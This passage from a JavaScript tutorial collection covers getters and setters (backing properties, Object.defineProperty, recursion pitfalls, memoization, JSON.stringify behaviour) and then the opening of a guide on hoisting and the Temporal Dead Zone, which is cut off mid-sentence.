5, // Method — requires parentheses calculateArea() { return this.width * this.height }, // Getter — no parentheses get area() { return this.width * this.height } } // Method call console.log(rectangle.calculateArea()) // 50 // Getter access console.log(rectangle.area) // 50 // Forgetting parentheses on method returns the function itself console.log(rectangle.calculateArea) // [Function: calculateArea] // But getters are called automatically console.log(rectangle.area) // 50 (not the function) ``` <Tip> **When to use which?** Use getters when the value feels like a property (area, fullName, isValid). Use methods when it feels like an action (calculate, fetch, validate). </Tip> --- ## The Vending Machine Analogy Think of an object as a vending machine. Regular properties are like items sitting on a shelf. You can see them and grab them directly. But getters and setters add a layer of interaction. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ GETTERS & SETTERS: THE VENDING MACHINE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ REGULAR PROPERTY GETTER │ │ ──────────────── ────── │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ SHELF │ │ DISPLAY │ │ │ │ ┌─────┐ │ │ ┌─────┐ │ │ │ │ │ 🥤 │ │ ← Grab directly │ │ ?? │ │ ← Press button │ │ │ └─────┘ │ │ └─────┘ │ to dispense │ │ └─────────────┘ │ ▼ │ │ │ obj.drink │ ┌─────┐ │ │ │ │ │ 🥤 │ │ ← Machine makes │ │ │ └─────┘ │ it for you │ │ └─────────────┘ │ │ obj.freshDrink (getter) │ │ │ │ SETTER │ │ ────── │ │ ┌─────────────────────────────────────┐ │ │ │ COIN SLOT │ │ │ │ ┌─────┐ │ │ │ │ │ 💰 │ → Insert money │ ← Machine validates, │ │ │ └─────┘ (setter called) │ processes, stores │ │ │ ▼ │ │ │ │ ┌──────────┐ │ │ │ │ │ VALIDATE │ │ │ │ │ │ STORE │ │ │ │ │ └──────────┘ │ │ │ └─────────────────────────────────────┘ │ │ obj.balance = 5 (setter) │ │ │ │ The machine handles complexity. You just interact with a simple │ │ interface — but behind the scenes, code runs. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Defining Getters and Setters in Object Literals The most common way to define getters and setters is in object literals using the `get` and `set` keywords. ### Basic Syntax ```javascript const user = { firstName: "Alice", lastName: "Smith", // Getter get fullName() { return `${this.firstName} ${this.lastName}` }, // Setter set fullName(value) { const parts = value.split(" ") this.firstName = parts[0] this.lastName = parts[1] || "" } } // Using the getter console.log(user.fullName) // "Alice Smith" // Using the setter user.fullName = "Bob Jones" console.log(user.firstName) // "Bob" console.log(user.lastName) // "Jones" ``` ### Computed Property Names You can use computed property names with getters and setters: ```javascript const propName = "status" const task = { _status: "pending", get [propName]() { return this._status.toUpperCase() }, set [propName](value) { this._status = value.toLowerCase() } } console.log(task.status) // "PENDING" task.status = "DONE" console.log(task.status) // "DONE" console.log(task._status) // "done" ``` ### The Backing Property Pattern When a getter/setter needs to store a value, you need a separate "backing" property. By convention, this is prefixed with an underscore: ```javascript const account = { _balance: 0, // Backing property (by convention, "private") get balance() { return this._balance }, set balance(value) { if (value < 0) { throw new Error("Balance cannot be negative") } this._balance = value } } account.balance = 100 console.log(account.balance) // 100 account.balance = -50 // Error: Balance cannot be negative ``` <Warning> **The underscore is just a convention.** The `_balance` property is still publicly accessible. For true privacy, see [Factories & Classes](/concepts/factories-classes) which covers private fields (`#`) and closure-based privacy. </Warning> --- ## Defining Getters and Setters in Classes The syntax in classes is identical to object literals: ```javascript class Temperature { constructor(celsius) { this._celsius = celsius } // Getter get celsius() { return this._celsius } // Setter with validation set celsius(value) { if (value < -273.15) { throw new Error("Temperature below absolute zero!") } this._celsius = value } // Computed getter — no backing property needed get fahrenheit() { return this._celsius * 9/5 + 32 } // Computed setter — converts and stores set fahrenheit(value) { this.celsius = (value - 32) * 5/9 // Uses celsius setter for validation } // Read-only getter (no setter) get kelvin() { return this._celsius + 273.15 } } const temp = new Temperature(25) console.log(temp.celsius) // 25 console.log(temp.fahrenheit) // 77 console.log(temp.kelvin) // 298.15 temp.fahrenheit = 100 console.log(temp.celsius) // 37.777... // temp.kelvin = 300 // TypeError in strict mode (no setter) ``` ### Static Getters and Setters You can also define getters and setters on the class itself: ```javascript class Config { static _debugMode = false static get debugMode() { return this._debugMode } static set debugMode(value) { console.log(`Debug mode ${value ? "enabled" : "disabled"}`) this._debugMode = value } } console.log(Config.debugMode) // false Config.debugMode = true // "Debug mode enabled" console.log(Config.debugMode) // true ``` <Note> For comprehensive coverage of classes, including private fields (`#field`) as backing properties, see [Factories & Classes](/concepts/factories-classes). </Note> --- ## Getters and Setters with Object.defineProperty() You can also define getters and setters using [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty). This creates an **accessor descriptor** instead of a data descriptor. ### Accessor Descriptors ```javascript const user = { firstName: "Alice", lastName: "Smith" } Object.defineProperty(user, "fullName", { get() { return `${this.firstName} ${this.lastName}` }, set(value) { const parts = value.split(" ") this.firstName = parts[0] this.lastName = parts[1] || "" }, enumerable: true, configurable: true }) console.log(user.fullName) // "Alice Smith" user.fullName = "Bob Jones" console.log(user.firstName) // "Bob" ``` ### Inspecting Accessor Descriptors ```javascript const obj = { get prop() { return "value" }, set prop(v) { /* store v */ } } const descriptor = Object.getOwnPropertyDescriptor(obj, "prop") console.log(descriptor) // { // get: [Function: get prop], // set: [Function: set prop], // enumerable: true, // configurable: true // } // Note: No 'value' or 'writable' — those are for data descriptors ``` ### The Rule: Data vs Accessor Descriptors A property descriptor must be **either** a data descriptor (with `value`/`writable`) **or** an accessor descriptor (with `get`/`set`). You cannot mix them. ```javascript // ❌ WRONG — mixing data and accessor descriptor Object.defineProperty({}, "broken", { value: 42, get() { return 42 } }) // TypeError: Invalid property descriptor. Cannot both specify accessors // and a value or writable attribute // ❌ ALSO WRONG Object.defineProperty({}, "alsoBroken", { writable: true, set(v) { } }) // TypeError: Invalid property descriptor. ``` For more on property descriptors, see [Property Descriptors](/beyond/concepts/property-descriptors). --- ## Common Use Cases ### 1. Computed/Derived Properties Calculate a value from other properties: ```javascript const cart = { items: [ { name: "Book", price: 20, quantity: 2 }, { name: "Pen", price: 5, quantity: 10 } ], get itemCount() { return this.items.reduce((sum, item) => sum + item.quantity, 0) }, get subtotal() { return this.items.reduce((sum, item) => sum + item.price * item.quantity, 0) }, get tax() { return this.subtotal * 0.1 }, get total() { return this.subtotal + this.tax } } console.log(cart.itemCount) // 12 console.log(cart.subtotal) // 90 console.log(cart.tax) // 9 console.log(cart.total) // 99 ``` ### 2. Data Validation Enforce constraints when values are assigned: ```javascript class User { constructor(name, age) { this._name = "" this._age = 0 // Use setters for initial validation this.name = name this.age = age } get name() { return this._name } set name(value) { if (typeof value !== "string" || value.trim() === "") { throw new Error("Name must be a non-empty string") } this._name = value.trim() } get age() { return this._age } set age(value) { if (typeof value !== "number" || value < 0 || value > 150) { throw new Error("Age must be a number between 0 and 150") } this._age = Math.floor(value) } } const user = new User("Alice", 30) console.log(user.name) // "Alice" console.log(user.age) // 30 user.age = 31 // Works user.age = -5 // Error: Age must be a number between 0 and 150 user.name = "" // Error: Name must be a non-empty string ``` ### 3. Logging and Debugging Track property access and changes: ```javascript function createTrackedObject(obj, name) { const tracked = {} for (const key of Object.keys(obj)) { let value = obj[key] Object.defineProperty(tracked, key, { get() { console.log(`[${name}] Reading ${key}: ${value}`) return value }, set(newValue) { console.log(`[${name}] Writing ${key}: ${value} → ${newValue}`) value = newValue }, enumerable: true }) } return tracked } const config = createTrackedObject({ debug: false, maxRetries: 3 }, "Config") config.debug // [Config] Reading debug: false config.debug = true // [Config] Writing debug: false → true config.maxRetries // [Config] Reading maxRetries: 3 ``` ### 4. Lazy Evaluation Defer expensive computation until first access: ```javascript const report = { _data: null, get data() { if (this._data === null) { console.log("Computing expensive data...") // Simulate expensive computation this._data = Array.from({ length: 1000 }, (_, i) => i * 2) } return this._data } } // Data not computed yet console.log("Report created") // First access triggers computation console.log(report.data.length) // "Computing expensive data..." then 1000 // Second access uses cached value console.log(report.data.length) // 1000 (no log — already computed) ``` ### 5. Reactive Patterns Trigger updates when values change: ```javascript class Observable { constructor(value) { this._value = value this._listeners = [] } get value() { return this._value } set value(newValue) { const oldValue = this._value this._value = newValue // Notify all listeners this._listeners.forEach(fn => fn(newValue, oldValue)) } subscribe(fn) { this._listeners.push(fn) return () => { this._listeners = this._listeners.filter(f => f !== fn) } } } const count = new Observable(0) // Subscribe to changes const unsubscribe = count.subscribe((newVal, oldVal) => { console.log(`Count changed from ${oldVal} to ${newVal}`) }) count.value = 1 // "Count changed from 0 to 1" count.value = 2 // "Count changed from 1 to 2" unsubscribe() count.value = 3 // (no output — unsubscribed) ``` --- ## The #1 Getter/Setter Mistake: Infinite Recursion The most common mistake is creating a getter or setter that calls itself, causing infinite recursion and a stack overflow. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ INFINITE RECURSION DISASTER │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ set name(value) { ┌─────────────────────────────┐ │ │ this.name = value ──────►│ Calls the setter again! │ │ │ } │ ▼ │ │ │ ▲ │ set name(value) { │ │ │ │ │ this.name = value ───────┼───┐ │ │ │ │ } │ │ │ │ │ │ ▼ │ │ │ │ │ │ set name(value) { │ │ │ │ │ │ this.name = value ───────┼───┼──┐ │ │ │ │ } │ │ │ │ │ │ │ ▼ │ │ │ │ │ │ │ ... forever until ... │ │ │ │ │ │ │ │ │ │ │ │ │ │ 💥 STACK OVERFLOW! 💥 │ │ │ │ │ │ └─────────────────────────────┘ │ │ │ │ │ │ │ │ │ └───────────────────────────────────────────────────────┘ │ │ │ │ │ └────────────────────────────────────────────────────────────────────┴─────┘ ``` ### The Wrong Way ```javascript // ❌ WRONG — causes infinite recursion const user = { get name() { return this.name // Calls the getter again! }, set name(value) { this.name = value // Calls the setter again! } } user.name = "Alice" // RangeError: Maximum call stack size exceeded ``` ### The Right Way: Use a Backing Property ```javascript // ✓ CORRECT — use a different property name const user = { _name: "", // Backing property get name() { return this._name // Reads the backing property }, set name(value) { this._name = value // Writes to the backing property } } user.name = "Alice" console.log(user.name) // "Alice" ``` ### Alternative: Private Fields in Classes ```javascript // ✓ CORRECT — use private fields class User { #name = "" // Private field get name() { return this.#name } set name(value) { this.#name = value } } const user = new User() user.name = "Alice" console.log(user.name) // "Alice" // console.log(user.#name) // SyntaxError: Private field ``` ### Alternative: Closure Variable ```javascript // ✓ CORRECT — use closure function createUser() { let name = "" // Closure variable return { get name() { return name }, set name(value) { name = value } } } const user = createUser() user.name = "Alice" console.log(user.name) // "Alice" ``` --- ## Getter-Only and Setter-Only Properties ### Getter-Only (Read-Only) If you define only a getter without a setter, the property becomes read-only: ```javascript "use strict" const circle = { radius: 5, get area() { return Math.PI * this.radius ** 2 } // No setter for 'area' } console.log(circle.area) // 78.539... // Attempting to set throws in strict mode circle.area = 100 // TypeError: Cannot set property area which has only a getter ``` <Note> Without [strict mode](/beyond/concepts/strict-mode), the assignment silently fails. The value remains unchanged, but no error is thrown. </Note> ### Setter-Only (Write-Only) If you define only a setter without a getter, reading returns `undefined`: ```javascript const logger = { _logs: [], set log(message) { this._logs.push(`[${new Date().toISOString()}] ${message}`) } // No getter for 'log' } logger.log = "User logged in" logger.log = "User viewed dashboard" console.log(logger.log) // undefined — no getter! console.log(logger._logs) // ["[...] User logged in", "[...] User viewed dashboard"] ``` Setter-only properties are rare but useful for write-only operations like logging or sending data. --- ## How Getters and Setters Work with Inheritance Getters and setters are inherited through the prototype chain, just like regular methods. ### Basic Inheritance ```javascript const animal = { _name: "Unknown", get name() { return this._name }, set name(value) { this._name = value } } // Create object that inherits from animal const dog = Object.create(animal) console.log(dog.name) // "Unknown" — inherited getter dog.name = "Rex" // Uses inherited setter console.log(dog.name) // "Rex" // dog has its own _name now console.log(dog._name) // "Rex" console.log(animal._name) // "Unknown" — parent unchanged ``` ### Overriding Getters and Setters ```javascript class Animal { constructor(name) { this._name = name } get name() { return this._name } set name(value) { this._name = value } } class Dog extends Animal { // Override getter to add prefix get name() { return `🐕 ${super.name}` // Use super to call parent getter } // Override setter to validate set name(value) { if (value.length < 2) { throw new Error("Dog name must be at least 2 characters") } super.name = value // Use super to call parent setter } } const dog = new Dog("Rex") console.log(dog.name) // "🐕 Rex" dog.name = "Buddy" console.log(dog.name) // "🐕 Buddy" dog.name = "X" // Error: Dog name must be at least 2 characters ``` ### Deleting Reveals Inherited Getter ```javascript const parent = { get value() { return "parent" } } const child = Object.create(parent) // Define own getter Object.defineProperty(child, "value", { get() { return "child" }, configurable: true }) console.log(child.value) // "child" // Delete child's own getter delete child.value console.log(child.value) // "parent" — inherited getter now visible ``` --- ## Performance Considerations ### Getters Are Called Every Time Unlike regular properties, getters execute their function on every access. MDN documents that getter functions are called each time the property is accessed, which means expensive computations inside getters can become a performance bottleneck if not cached: ```javascript let callCount = 0 const obj = { get expensive() { callCount++ // Simulate expensive computation let sum = 0 for (let i = 0; i < 1000000; i++) { sum += i } return sum } } console.log(obj.expensive) // Computes... 499999500000 console.log(obj.expensive) // Computes again! console.log(obj.expensive) // And again! console.log(callCount) // 3 — called three times! ``` ### Memoization Pattern For expensive computations, cache the result: ```javascript const obj = { _cachedExpensive: null, get expensive() { if (this._cachedExpensive === null) { console.log("Computing...") let sum = 0 for (let i = 0; i < 1000000; i++) { sum += i } this._cachedExpensive = sum } return this._cachedExpensive }, invalidateCache() { this._cachedExpensive = null } } console.log(obj.expensive) // "Computing..." then result console.log(obj.expensive) // Just result — no computation console.log(obj.expensive) // Just result — still cached obj.invalidateCache() console.log(obj.expensive) // "Computing..." — recalculates ``` ### Self-Replacing Getter (Lazy Property) For values that never change, replace the getter with a data property on first access: ```javascript const obj = { get lazyValue() { console.log("Computing once...") const value = Math.random() // Expensive computation // Replace getter with data property Object.defineProperty(this, "lazyValue", { value: value, writable: false, configurable: false }) return value } } console.log(obj.lazyValue) // "Computing once..." then 0.123... console.log(obj.lazyValue) // 0.123... — no log, now a data property console.log(obj.lazyValue) // 0.123... — same value, no computation ``` ### When to Use Data Properties Instead Use regular data properties when: - The value doesn't need computation - You don't need validation on assignment - Performance is critical and the value is accessed frequently ```javascript // ❌ Unnecessary getter const point = { _x: 0, get x() { return this._x } } // ✓ Just use a data property const point = { x: 0 } ``` --- ## JSON.stringify() and Getters When you call [`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) on an object, getter values are included in the output (because the getter is called), but setter-only properties result in nothing being included. As the ECMAScript specification defines, `JSON.stringify()` reads enumerable own properties, which triggers getter functions during serialization: ```javascript const user = { firstName: "Alice", lastName: "Smith", get fullName() { return `${this.firstName} ${this.lastName}` }, set nickname(value) { this._nickname = value } } console.log(JSON.stringify(user)) // {"firstName":"Alice","lastName":"Smith","fullName":"Alice Smith"} // Note: // - fullName IS included (getter was called) // - nickname is NOT included (setter-only, no value to serialize) // - _nickname is NOT included (doesn't exist yet) ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Getters and setters are functions that look like properties.** Access them without parentheses. 2. **Use `get` for reading, `set` for writing.** The getter returns a value; the setter receives the assigned value. 3. **Always use a backing property to avoid infinite recursion.** Use `_name` for `name`, or use private fields (`#name`). 4. **Getter-only properties are read-only.** Assignment fails silently in sloppy mode, throws in strict mode. 5. **Setter-only properties return undefined when read.** They're rare but useful for write-only operations. 6. **Accessor descriptors use `get`/`set`, not `value`/`writable`.** You cannot mix them in `Object.defineProperty()`. 7. **Getters execute on every access.** Use memoization for expensive computations. 8. **Getters and setters are inherited.** Use `super.prop` to call the parent's accessor in a subclass. 9. **JSON.stringify() calls getters.** The computed value is included in the JSON output. 10. **Use getters for computed values, setters for validation.** They're perfect for derived properties and enforcing constraints. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What's the difference between a getter and a method?"> **Answer:** Syntactically, getters are accessed without parentheses, while methods require them: ```javascript const obj = { get area() { return 100 }, calculateArea() { return 100 } } obj.area // 100 — getter, no parentheses obj.calculateArea() // 100 — method, with parentheses obj.calculateArea // [Function] — returns the function itself ``` Semantically, use getters when the value feels like a property (area, fullName, isValid). Use methods when it feels like an action (calculate, fetch, process). </Accordion> <Accordion title="How do you prevent infinite recursion in a setter?"> **Answer:** Use a backing property with a different name: ```javascript // ❌ WRONG — infinite recursion set name(value) { this.name = value // Calls setter again! } // ✓ CORRECT — use backing property set name(value) { this._name = value // Different property } ``` Alternatively, use private fields (`#name`) or closure variables. </Accordion> <Accordion title="What happens if you only define a getter without a setter?"> **Answer:** The property becomes read-only: ```javascript "use strict" const obj = { get value() { return 42 } } console.log(obj.value) // 42 obj.value = 100 // TypeError: Cannot set property value which has only a getter ``` In non-strict mode, the assignment silently fails instead of throwing. </Accordion> <Accordion title="Can you have both a value and a getter on the same property?"> **Answer:** No. A property descriptor must be either a **data descriptor** (with `value`/`writable`) or an **accessor descriptor** (with `get`/`set`). Mixing them throws a TypeError: ```javascript Object.defineProperty({}, "prop", { value: 42, get() { return 42 } }) // TypeError: Invalid property descriptor. Cannot both specify // accessors and a value or writable attribute ``` </Accordion> <Accordion title="When would you use a getter vs a regular property?"> **Answer:** Use a getter when you need: 1. **Computed values** — derived from other properties ```javascript get fullName() { return `${this.firstName} ${this.lastName}` } ``` 2. **Lazy evaluation** — defer expensive computation 3. **Validation on read** — transform or validate before returning 4. **Encapsulation** — hide the backing storage Use a regular property when: - The value doesn't need computation - No validation is needed - Performance is critical (getters run on every access) </Accordion> <Accordion title="How do getters behave with JSON.stringify()?"> **Answer:** Getters are called during serialization, and their return values are included in the JSON: ```javascript const obj = { a: 1, get b() { return 2 } } JSON.stringify(obj) // '{"a":1,"b":2}' ``` The getter `b` was called, and its value `2` was included. Setter-only properties result in nothing being included (no value to serialize). </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between a getter and a regular method in JavaScript?"> Getters are accessed without parentheses (`obj.area`) while methods require them (`obj.calculateArea()`). Semantically, use getters for values that feel like properties (area, fullName, isValid) and methods for actions (calculate, fetch, process). According to MDN, getters define an accessor property, not a data property. </Accordion> <Accordion title="How do you avoid infinite recursion in a getter or setter?"> Use a backing property with a different name (conventionally prefixed with `_`). For example, a `name` getter should read from `this._name`, not `this.name`. In modern classes, you can use private fields (`#name`) instead. Writing `this.name = value` inside a `name` setter calls the setter recursively, causing a stack overflow. </Accordion> <Accordion title="Do JavaScript getters affect performance?"> Yes. Unlike data properties, getters execute their function on every access. For expensive computations, this can become a bottleneck. MDN recommends using memoization or the self-replacing getter pattern to cache results. For values accessed in tight loops, consider using a regular data property instead. </Accordion> <Accordion title="Are getter values included in JSON.stringify() output?"> Yes. `JSON.stringify()` triggers getter functions and includes their return values in the output. Setter-only properties produce no output since there is no value to serialize. This behavior is defined by the ECMAScript specification's property enumeration algorithm. </Accordion> <Accordion title="Can you define a getter without a setter in JavaScript?"> Yes. A getter-only property is effectively read-only. In strict mode, attempting to assign to it throws a `TypeError`. In non-strict mode, the assignment silently fails. This pattern is common for computed values like `area` on a shape object that should be derived, not directly set. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Property Descriptors" icon="sliders" href="/beyond/concepts/property-descriptors"> Deep dive into accessor descriptors vs data descriptors, and how they're defined with Object.defineProperty(). </Card> <Card title="Proxy & Reflect" icon="shield" href="/beyond/concepts/proxy-reflect"> More powerful interception beyond getters/setters. Proxies can intercept any object operation. </Card> <Card title="Factories & Classes" icon="cube" href="/concepts/factories-classes"> Comprehensive coverage of classes, including private fields (#) for backing properties and true encapsulation. </Card> <Card title="Strict Mode" icon="lock" href="/beyond/concepts/strict-mode"> Why getter-only property assignments throw in strict mode but fail silently otherwise. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="getter — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get"> Official documentation on the get syntax for defining getters. </Card> <Card title="setter — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set"> Official documentation on the set syntax for defining setters. </Card> <Card title="Object.defineProperty() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"> How to define accessor properties with property descriptors. </Card> <Card title="Working with Objects — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects#defining_getters_and_setters"> MDN guide section on defining getters and setters in objects. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="Property getters and setters" icon="newspaper" href="https://javascript.info/property-accessors"> The essential javascript.info guide covering accessor properties with clear examples. Includes the smart getter pattern for caching. </Card> <Card title="JavaScript Getters and Setters" icon="newspaper" href="https://www.programiz.com/javascript/getter-setter"> Programiz tutorial with beginner-friendly explanations and practical examples of validation patterns. </Card> <Card title="An Introduction to JavaScript Getters and Setters" icon="newspaper" href="https://www.javascripttutorial.net/javascript-getters-and-setters/"> JavaScript Tutorial's guide covering object literals, classes, and Object.defineProperty() approaches. </Card> <Card title="JavaScript Object Accessors" icon="newspaper" href="https://www.w3schools.com/js/js_object_accessors.asp"> W3Schools quick reference with simple examples. Good for a fast refresher on syntax. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JavaScript Getters and Setters Explained" icon="video" href="https://www.youtube.com/watch?v=bl98dm7vJt0"> Web Dev Simplified breaks down getters and setters with clear visual examples. Great for understanding when and why to use them. </Card> <Card title="Getter and Setter in JavaScript" icon="video" href="https://www.youtube.com/watch?v=5KNl4TQRpbo"> Traversy Media covers getters and setters in both object literals and ES6 classes with practical code examples. </Card> <Card title="JavaScript Getters & Setters in 5 Minutes" icon="video" href="https://www.youtube.com/watch?v=y9TIr4T2EpA"> Quick 5-minute overview if you just need the essentials. Covers syntax, use cases, and common pitfalls. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/hoisting.mdx ================================================ --- title: "Hoisting in JavaScript" sidebarTitle: "Hoisting: How Declarations Move to the Top" description: "Learn JavaScript hoisting: how var, let, const, and function declarations are moved to the top of their scope. Understand the Temporal Dead Zone." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Language Mechanics" "article:tag": "javascript hoisting, var hoisting, function hoisting, temporal dead zone, declaration vs initialization, scope hoisting" --- Why can you call a function before it appears in your code? Why does `var` give you `undefined` instead of an error, while `let` throws a `ReferenceError`? How does JavaScript seem to know about variables before they're declared? ```javascript // This works - but how? sayHello() // "Hello!" function sayHello() { console.log("Hello!") } // This doesn't throw an error - why? console.log(name) // undefined var name = "Alice" // But this does throw an error - what's different? console.log(age) // ReferenceError: Cannot access 'age' before initialization let age = 25 ``` The answer is **hoisting**. It's one of JavaScript's most misunderstood behaviors, and understanding it is key to writing predictable code and debugging confusing errors. <Info> **What you'll learn in this guide:** - What hoisting actually is (and what it isn't) - How [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var), [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), and [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const) are hoisted differently - Why function declarations can be called before they appear in code - The Temporal Dead Zone and why it exists - Class and import hoisting behavior - Common hoisting pitfalls and how to avoid them - Best practices for declaring variables and functions </Info> <Warning> **Prerequisites:** This guide builds on your understanding of [Scope and Closures](/concepts/scope-and-closures) and the [Call Stack](/concepts/call-stack). If you're not comfortable with how JavaScript manages scope, read those guides first. </Warning> --- ## What is Hoisting in JavaScript? **[Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)** is JavaScript's behavior of moving declarations to the top of their scope during the compilation phase, before any code is executed. When JavaScript prepares to run your code, it first scans for all variable and function declarations and "hoists" them to the top of their containing scope. Only the declarations are hoisted, not the initializations. According to the [ECMAScript specification](https://tc39.es/ecma262/#sec-variable-statement), variable declarations are instantiated when their containing environment record is created, which is why they appear to "move" to the top. Here's the key insight: hoisting isn't actually moving your code around. It's about when JavaScript becomes *aware* of your variables and functions during its two-phase execution process. <Note> The term "hoisting" doesn't appear in the ECMAScript specification. It's a conceptual model that describes the observable behavior of how JavaScript handles declarations during compilation. </Note> --- ## The Moving Day Analogy Imagine you're moving into a new apartment. Before you even show up with your boxes, the moving company has already: 1. **Put labels on every room** saying what will go there ("Living Room", "Bedroom", "Kitchen") 2. **Reserved space** for your furniture, but the rooms are empty When you arrive, you know where everything *will* go, but the actual furniture (the values) hasn't been unpacked yet. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ HOISTING: THE MOVING DAY ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ BEFORE YOU ARRIVE (Compilation Phase) │ │ ───────────────────────────────────── │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ LIVING ROOM │ │ BEDROOM │ │ KITCHEN │ │ │ │ │ │ │ │ │ │ │ │ [empty] │ │ [empty] │ │ [empty] │ │ │ │ │ │ │ │ │ │ │ │ Reserved │ │ Reserved │ │ Reserved │ │ │ │ for: sofa │ │ for: bed │ │ for: table │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ AFTER UNPACKING (Execution Phase) │ │ ───────────────────────────────── │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ LIVING ROOM │ │ BEDROOM │ │ KITCHEN │ │ │ │ │ │ │ │ │ │ │ │ [SOFA] │ │ [BED] │ │ [TABLE] │ │ │ │ │ │ │ │ │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ JavaScript knows about all variables before execution, but their │ │ values are only assigned when the code actually runs. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` This is exactly how hoisting works: - **Compilation phase**: JavaScript "reserves space" for all declarations - **Execution phase**: Values are actually assigned when the code runs --- ## The Four Types of Hoisting Not all declarations are hoisted the same way. Understanding these differences is crucial: | Declaration Type | Hoisted? | Initialized? | Accessible Before Declaration? | |-----------------|----------|--------------|-------------------------------| | `var` | Yes | Yes (`undefined`) | Yes (returns `undefined`) | | `let` / `const` | Yes | No (TDZ) | No (`ReferenceError`) | | Function Declaration | Yes | Yes (full function) | Yes (fully usable) | | Function Expression | Depends on `var`/`let`/`const` | No | No | | `class` | Yes | No (TDZ) | No (`ReferenceError`) | | `import` | Yes | Yes | Yes (but side effects run first) | Let's explore each one in detail. --- ## Variable Hoisting with var Variables declared with [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var) are hoisted to the top of their function (or global scope) and automatically initialized to `undefined`. As MDN documents, `var` declarations are processed before any code is executed, which is why accessing a `var` variable before its declaration returns `undefined` rather than throwing an error. ```javascript console.log(greeting) // undefined (not an error!) var greeting = "Hello" console.log(greeting) // "Hello" ``` ### How JavaScript Sees Your Code When you write code with `var`, JavaScript essentially transforms it during compilation: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ var HOISTING TRANSFORMATION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOUR CODE: HOW JAVASCRIPT SEES IT: │ │ ────────── ────────────────────── │ │ │ │ console.log(x); var x; // Hoisted! │ │ var x = 5; console.log(x); // undefined │ │ console.log(x); x = 5; // Assignment │ │ console.log(x); // 5 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### var Hoisting in Functions `var` is function-scoped, meaning it's hoisted to the top of the containing function: ```javascript function example() { console.log(message) // undefined if (true) { var message = "Hello" } console.log(message) // "Hello" } example() ``` Even though `message` is declared inside the `if` block, `var` ignores [block scope](/concepts/scope-and-closures) and hoists to the function level. <Tip> **The Rule:** `var` declarations are hoisted to the top of their **function** scope (or global scope if not in a function). The declaration is hoisted, but the assignment stays in place. </Tip> --- ## let and const: Hoisted but in the Temporal Dead Zone Here's where many developers get confused: `let` and `const` **are hoisted**, but they behave differently from `var`. They enter what's called the **[Temporal Dead Zone (TDZ)](/beyond/concepts/temporal-dead-zone)**. ```javascript // TDZ starts at the beginning of the block console.log(name) // ReferenceError: Cannot access 'name' before initialization let name = "Alice" // TDZ ends here ``` ### What is the Temporal Dead Zone? The **Temporal Dead Zone** is the period between entering a scope and the actual declaration of a `let` or `const` variable. During this time, the variable exists (JavaScript knows about it), but accessing it throws a [`ReferenceError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError). Learn more about the TDZ in our [dedicated Temporal Dead Zone guide](/beyond/concepts/temporal-dead-zone). ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ TEMPORAL DEAD ZONE (TDZ) │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ function example() { │ │ // ┌─────────────────────────────────────────────┐ │ │ // │ TEMPORAL DEAD ZONE FOR 'x' │ │ │ // │ │ │ │ // │ console.log(x); // ReferenceError! │ │ │ // │ console.log(x); // ReferenceError! │ │ │ // │ console.log(x); // ReferenceError! │ │ │ // └─────────────────────────────────────────────┘ │ │ │ │ let x = 10; // ← TDZ ends here, 'x' is now accessible │ │ │ │ console.log(x); // 10 ✓ │ │ } │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Why Does the TDZ Exist? The TDZ exists to catch bugs. Consider this code: ```javascript let x = "outer" function example() { console.log(x) // What should this print? let x = "inner" } ``` Without the TDZ, the `console.log(x)` might confusingly access the outer `x`. With the TDZ, JavaScript tells you immediately that something is wrong: you're trying to use a variable before it's ready. ### TDZ Proof: let IS Hoisted Here's proof that `let` is actually hoisted (just with TDZ behavior): ```javascript let x = "outer" { // If 'x' wasn't hoisted, this would print "outer" // But instead, we get a ReferenceError because the inner 'x' IS hoisted // and creates a TDZ that shadows the outer 'x' console.log(x) // ReferenceError: Cannot access 'x' before initialization let x = "inner" } ``` The fact that we get a `ReferenceError` instead of `"outer"` proves that the inner `let x` 